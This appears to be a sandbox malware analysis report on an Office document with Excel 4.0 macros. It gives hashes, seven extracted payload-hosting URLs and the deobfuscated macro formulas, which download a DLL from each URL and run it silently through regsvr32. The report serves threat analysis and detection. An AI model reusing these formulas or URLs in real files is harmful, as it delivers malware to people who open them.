General
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Target
5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48
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Size
20KB
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MD5
3dc12f2da1c473cc12dae3ee1ccebba6
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SHA1
3159de75af403c7685bf13c45f4fd7b9e257257a
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SHA256
5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48
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SHA512
d618f408f0eefe68aa727b47017e72b65909bb0480cc52208b998a55b25cc01bfb1a1ab0376c4434b3453f990b90704183fc4568ba4311ca35a72fc1e93d22e5
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SSDEEP
384:2/Vb1GNjU5o4CGzPd6ZIw8R3Kb5CzgObff9kC+xbX7zJBq1:2tINAo4FLkCBn9kC+xbLzJy
Malware Config
Extracted
http://antaoco.com/wp-admin/5WaIjOuHnUj/
http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/
http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/
http://andrewpharma.com/wp-includes/WqgKtKrYJM/
http://amkltd.co.uk/amk/IPuhx/
http://gees.com.pl/geessw/2YmxITo6/
http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/
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formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://antaoco.com/wp-admin/5WaIjOuHnUj/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/IaeePiSroWtpfZ8uURa/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://anat-bar.co.il/cgi-bin/UNS6bRMcF4pOTf/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://andrewpharma.com/wp-includes/WqgKtKrYJM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amkltd.co.uk/amk/IPuhx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gees.com.pl/geessw/2YmxITo6/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.bridgeaustria.at/archive/V27DbIDKqIWeaAPMD/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Signatures
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Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
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5791b535ca2292813d29746f25daac92c5088bf73745c5295f8a571a0f46ca48